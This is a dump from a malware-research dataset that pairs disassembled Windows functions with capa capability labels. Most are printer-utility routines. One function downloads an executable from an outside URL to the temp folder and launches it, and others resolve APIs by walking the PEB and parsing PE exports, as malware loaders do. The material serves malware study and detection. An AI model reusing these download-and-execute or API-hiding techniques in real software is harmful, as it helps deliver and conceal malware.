joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406370
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push edi
push 0x448668
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 0x14], ebx
mov dword [esi + 0x18], ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 8
call fcn.004164a2
mov edi, eax
add esp, 4
cmp edi, ebx
je 0x4063cd
mov dword [edi], vtable.CErisDLL.0
mov dword [edi + 4], ebx
cmp dword [0x458258], ebx
jne 0x4063c3
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x458258], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
call fcn.00406270
mov dword [edi + 4], eax
jmp 0x4063cf
xor edi, edi
push ebx
push ebx
push ebx
push ebx
mov dword [esi + 0xc], edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x4486a8
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop edi
mov eax, esi
pop ebx
pop ebp
ret 4

Function at 0x406400
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fcf0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x453d50]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
push str.CErisProbe::CErisProbe__Start__n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor edi, edi
mov ecx, esi
mov dword [ebp - 4], edi
call fcn.00406500
mov eax, dword [esi + 0xc]
cmp eax, edi
je 0x40645b
push eax
mov dword [eax], vtable.CErisDLL.0
call fcn.004164d1
add esp, 4
mov dword [esi + 0xc], edi
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.CErisProbe::CErisProbe__Exit__n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x406490
Capabilities:
Print debug messages

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.CErisProbe::Initialize__Start__n
call ebx
mov eax, dword [edi + 0xc]
test eax, eax
je 0x4064ab
cmp dword [eax + 4], 0
jne 0x4064b6
push str.CErisProbe::Initialize__Exit_with_false__n
call ebx
xor eax, eax
pop ebx
ret
push esi
mov esi, 0xffffff9b
call dword [0x45825c]
mov dword [edi + 4], eax
test eax, eax
je 0x4064ef
push 0
push eax
call dword [0x458260]
mov esi, eax
add esp, 8
test esi, esi
je 0x4064ef
mov eax, dword [edi + 4]
push eax
call dword [0x458288]
add esp, 4
mov dword [edi + 4], 0
push str.CErisProbe::Initialize__Exit__n
call ebx
xor eax, eax
test esi, esi
pop esi
sete al
pop ebx
ret
Function at 0x40bdd0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor esi, esi
push esi
push str.SOFTWAREEPSONCXGA
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x18], vtable.Registry.0
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], 0x20019
je 0x40be5a
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 4]
push edx
push esi
push esi
push str.Accepted
push eax
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov eax, dword [ebp - 0x14]
mov esi, dword [ebp - 4]
test eax, eax
je 0x40be53
push eax
call ebx
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x18], vtable.Registry.0
test eax, eax
je 0x40be68
push eax
call ebx
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40dc30
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440bd0
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x453d50]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 1
lea eax, [ebp - 0x10]
push eax
call fcn.0040e980
push str.LanguageInfo2.ini
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 4], 0
call fcn.0040c340
add esp, 0xc
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx - 0xc]
test eax, eax
je 0x40dcb7
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40dcb7
test al, 0x10
jne 0x40dcb7
push str.Load_LanguageInfo_2_r_n
push 0x4582a0
call fcn.004024c0
mov eax, dword [ebp - 0x14]
add esp, 8
push 2
jmp 0x40dccb
push 0x10
push str.LanguageInfo.ini
lea ecx, [ebp - 0x10]
call fcn.00402980
mov eax, dword [ebp - 0x10]
push 1
push ecx
add eax, 0xfffffff0
mov dword [ebp - 0x18], esp
mov edi, esp
push eax
call fcn.00401f10
add esp, 4
add eax, 0x10
push esi
mov dword [edi], eax
call fcn.0040dd50
mov esi, eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dd0d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dd33
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4138d0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push edi
push str.GetMaxMonitoringPrinters_r_n
push 0x4582a0
call fcn.004024c0
add esp, 8
xor edi, edi
push str.kernel32
mov ebx, 0x20
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], edi
mov dword [ebp - 0xc], edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, edi
je 0x413932
push esi
push str.IsWow64Process
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
mov dword [ebp - 8], edi
cmp esi, edi
je 0x41392c
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
mov eax, dword [ebp - 8]
pop esi
jmp 0x413934
xor eax, eax
dec eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
lea ecx, [ebp - 4]
push ecx
add eax, 0x200
or eax, 0x20019
push eax
push edi
push str.SOFTWAREEPSONFirstAidKit
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x413976
push str.Error_RegOpenKeyEx_r_n
push 0x4582a0
call fcn.004024c0
add esp, 8
jmp 0x4139b2
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
push edi
push edi
push str.MaxMonitoringPrinters
push ecx
mov dword [ebp - 0xc], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, edi
jne 0x41399f
mov ebx, dword [ebp - 0x10]
jmp 0x4139b2
push eax
push str.Error_RegQueryValueEx__d__r_n
push 0x4582a0
call fcn.004024c0
add esp, 0xc
mov eax, dword [ebp - 4]
cmp eax, edi
je 0x4139c0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push str.GetMaxMonitoringPrinters__d__r_n
push 0x4582a0
call fcn.004024c0
add esp, 0xc
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415300
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x440eab
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
push ebx
push edi
mov eax, dword [0x453d50]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.CVegaMonitor::CheckConnection___r_n
push 0x4582a0
call fcn.004024c0
mov eax, dword [esi + 0xa8]
sub esp, 0x18
mov edi, esp
lea edx, [edi + 4]
xor ebx, ebx
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x10], ebx
lea ecx, [esi + 0xac]
push edx
mov dword [edi], eax
call fcn.004158b0
mov eax, dword [esi + 0xc4]
lea ecx, [ebp - 0xc8]
push ecx
mov dword [edi + 0x1c], eax
call fcn.00403e40
push ebx
push 4
push ebx
push ebx
push esi
push 0x415500
mov dword [ebp - 4], ebx
xor edi, edi
call fcn.0041edee
mov dword [esi + 0xa4], eax
cmp eax, ebx
jne 0x4153a8
push str.BeginWaitThread_Failed_r_n
push 0x4582a0
call fcn.004024c0
add esp, 8
jmp 0x415490
push str._______________BeginWaitThread________________r_n
push 0x4582a0
call fcn.004024c0
add esp, 8
push ebx
push 0x81
lea ecx, [ebp - 0xc8]
call fcn.004184a9
push ebx
lea ecx, [ebp - 0xc8]
call fcn.0041a836
push 5
lea ecx, [ebp - 0xc8]
call fcn.0041dde0
mov edx, dword [esi + 0xa4]
mov dword [edx + 0x28], ebx
mov eax, dword [esi + 0xa4]
mov eax, dword [eax + 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov edi, dword [sym.imp.USER32.dll_PeekMessageW]
mov ebx, dword [sym.imp.USER32.dll_TranslateMessage]
lea esp, [esp]
mov ecx, dword [esi + 0xa4]
push 0x4ff
push 0xa
push 0
add ecx, 0x2c
push ecx
push 1
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
cmp eax, 0x102
je 0x415410
cmp eax, 1
jne 0x41546c
push eax
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
call edi
test eax, eax
je 0x415410
lea eax, [ebp - 0x30]
push eax
call ebx
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 1
push 0
push 0
push 0
lea edx, [ebp - 0x30]
push edx
call edi
test eax, eax
jne 0x415448
jmp 0x415410
mov ecx, dword [esi + 0xa4]
mov edx, dword [ecx + 0x2c]
lea eax, [ebp - 0x10]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov edi, dword [ebp - 0x10]
lea ecx, [ebp - 0xc8]
call fcn.0041b199
xor ebx, ebx
mov eax, dword [esi + 0xa4]
cmp eax, ebx
je 0x4154bf
mov eax, dword [eax + 0x2c]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esi + 0xa4]
cmp ecx, ebx
je 0x4154b9
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push 1
call eax
mov dword [esi + 0xa4], ebx
push str._______________FinishWaitThread________________r_n
push 0x4582a0
call fcn.004024c0
add esp, 8
lea ecx, [ebp - 0xc8]
mov dword [ebp - 4], 0xffffffff
call fcn.00403f40
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x415550
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43ff1c
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x453d50]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.CheckPreviewProcess_r_n
xor edi, edi
push 0x4582a0
mov esi, ecx
mov dword [ebp - 0x220], edi
call fcn.004024c0
add esp, 8
mov dword [ebp - method.CPrinterControl.virtual_0], vtable.CPrinterControl.0
mov dword [ebp - 4], edi
call fcn.0041657f
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x4155c0
push 0x80004005
call fcn.00401090
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x224], eax
push 0x208
lea ecx, [ebp - 0x218]
push edi
push ecx
mov byte [ebp - 4], 1
call fcn.00428e00
add esp, 0xc
push 0x446d7f
lea ecx, [ebp - 0x228]
call fcn.004019a0
lea edx, [ebp - 0x21c]
push edx
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.00410280
push eax
lea ecx, [ebp - 0x224]
mov byte [ebp - 4], 3
call fcn.00401d40
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x21c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415643
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov edi, dword [ebp - 0x224]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push edi
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push 0x4470e4
push str.PreviewJobEditExe
push str.CommonDrvInfo
call esi
push ecx
lea edx, [ebp - 0x218]
mov ecx, esp
mov dword [ebp - 0x21c], esp
push edx
call fcn.004018e0
call fcn.00415750
test eax, eax
jne 0x4156dc
push 0x208
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.00428e00
add esp, 0xc
push edi
push 0x104
lea ecx, [ebp - 0x218]
push ecx
push 0x4470e4
push str.PreviewExe
push str.CommonDrvInfo
call esi
push ecx
lea edx, [ebp - 0x218]
mov ecx, esp
mov dword [ebp - 0x21c], esp
push edx
call fcn.004018e0
call fcn.00415750
test eax, eax
je 0x4156e6
mov dword [ebp - 0x220], 1
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x228]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41570c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41572c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00425035
mov esp, ebp
pop ebp
ret
Function at 0x415750
Capabilities:
Enumerate processes on remote desktop session host

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x43fed0
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x453d50]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0x446d80
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x1c], ebx
call fcn.004018e0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
cmp dword [eax - 0xc], ebx
je 0x415841
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x10]
push edx
push 1
push ebx
push ebx
call sub.WTSAPI32.dll_WTSEnumerateProcessesW
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x415841
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x1c], ebx
jbe 0x415841
mov edi, dword [ebp - 0x10]
add edi, 8
lea ecx, [ebp - 0x14]
call fcn.00401b10
mov edx, dword [edi]
cmp edx, ebx
jne 0x4157e2
xor eax, eax
jmp 0x4157f6
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4157e7
sub eax, esi
sar eax, 1
push eax
push edx
lea ecx, [ebp - 0x14]
call fcn.00401e10
mov ecx, dword [ebp - 0x14]
xor eax, eax
cmp ecx, ebx
setne al
cmp eax, ebx
je 0x415830
mov eax, dword [ebp + 8]
push ecx
push eax
call fcn.00425239
add esp, 8
cmp eax, ebx
je 0x41583a
mov eax, dword [ebp - 0x20]
inc eax
add edi, 0x10
mov dword [ebp - 0x20], eax
cmp eax, dword [ebp - 0x1c]
jb 0x4157d0
jmp 0x415841
push 0x80004005
call fcn.00401090
mov dword [ebp - 0x18], 1
mov eax, dword [ebp - 0x10]
cmp eax, ebx
je 0x415851
push eax
call sub.WTSAPI32.dll_WTSFreeMemory
mov dword [ebp - 0x10], ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415873
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x415899
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4184a9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x4184cd
cmp dword [edi + 0x54], 0
jne 0x4184cd
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004219db
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0041846a
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x4011c0
Capabilities:
Create process on windows
Get common file path

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
push 0x4030d8
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, 0x4030d8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.bundlernetscape.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__www.slotch.com_ist_softwares_bundlers_bundler_netscape.exe
call section..text
add esp, 8
test eax, eax
pop edi
pop esi
pop ebx
jne 0x401252
or eax, 0xffffffff
add esp, 0x104
ret 0x10
lea ecx, [esp]
push ecx
call fcn.004011b0
add esp, 4
test al, al
je 0x401278
push 0
push 0
lea edx, [esp + 8]
push 0
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
add esp, 0x104
ret 0x10
Function at 0x405e22
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
mov edi, dword [ebp + 8]
mov edi, dword [edi]
push edi
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
pop edi
mov esi, ecx
not esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0xc]
lea eax, [eax + 0x10]
push dword [eax]
xor eax, eax
push edx
mov ecx, dword [edx + 0x30]
movzx ebx, byte [eax + edi]
movzx edx, byte [ecx + eax*2]
sub ebx, edx
cmp ebx, 0
je 0x405e69
cmp ebx, 0x20
je 0x405e69
cmp ebx, 0xffffffe0
je 0x405e69
jne 0x405e72
add eax, 1
cmp esi, eax
je 0x405e7f
jne 0x405e4e
pop edx
mov edx, dword [edx]
xor eax, eax
pop ebx
cmp ebx, edx
push ebx
je 0x405e83
jne 0x405e4a
pop edx
mov eax, dword [edx + 0x18]
leave
ret 4

Function at 0x405e97
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x405f58
test ecx, ecx
je 0x405f58
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x405f58
test ebx, ebx
je 0x405f58
mov ebx, eax
add ebx, edx
je 0x405f58
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x405f58
cmp dword [edx + eax + 0x14], 0
je 0x405f58
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x405f58
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x405f48
test dl, dl
je 0x405f44
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x405f48
add edi, 2
add esi, 2
test dl, dl
jne 0x405f28
xor eax, eax
jmp 0x405f4d
sbb eax, eax
or eax, 1
test eax, eax
je 0x405f64
inc ebp
cmp ebp, dword [esp + 4]
jb 0x405f15
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
Function at 0x4206f0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x493fbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00489127
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x420772
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0048703a
mov eax, dword [eax]
push 0x4bdc60
push eax
call fcn.004780c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004893b2
test bl, bl
je 0x420772
push 0x4bdc60
lea ecx, [esp + 0xc]
call fcn.00489742
push 0x4bdc6c
lea ecx, [esp + 0xc]
call fcn.00489742
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4207ae
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004893b2
jmp 0x420879
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x420832
lea edx, [esp + 0x7c]
push 0x4bdc68
push edx
call fcn.004780c4
add esp, 8
test eax, eax
je 0x420832
lea eax, [esp + 0x7c]
push 0x4bdc64
push eax
call fcn.004780c4
add esp, 8
test eax, eax
je 0x420832
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4207c2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004893b2
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x421080
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4210e2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4210f0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49403b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4c77d0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x421228
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x421156
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004893b2
xor eax, eax
jmp 0x42129f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004894ef
push esi
lea ecx, [esp + 0xc]
call fcn.0048977e
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x42127d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00421080
test eax, eax
jne 0x42127d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00421080
test eax, eax
jne 0x42127d
lea eax, [esp + 0x14]
push str.__1_
push eax
call fcn.00478f36
mov esi, eax
add esp, 8
test esi, esi
jne 0x42125c
lea ecx, [esp + 0x14]
push 0x4bdc78
push ecx
call fcn.00478eb0
mov esi, eax
add esp, 8
test esi, esi
jne 0x42125c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x42125f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048949f
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x42116e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004893b2
xor eax, eax
jmp 0x42129f
mov byte [esi], 0
push 0x4bdc74
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004893b2
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4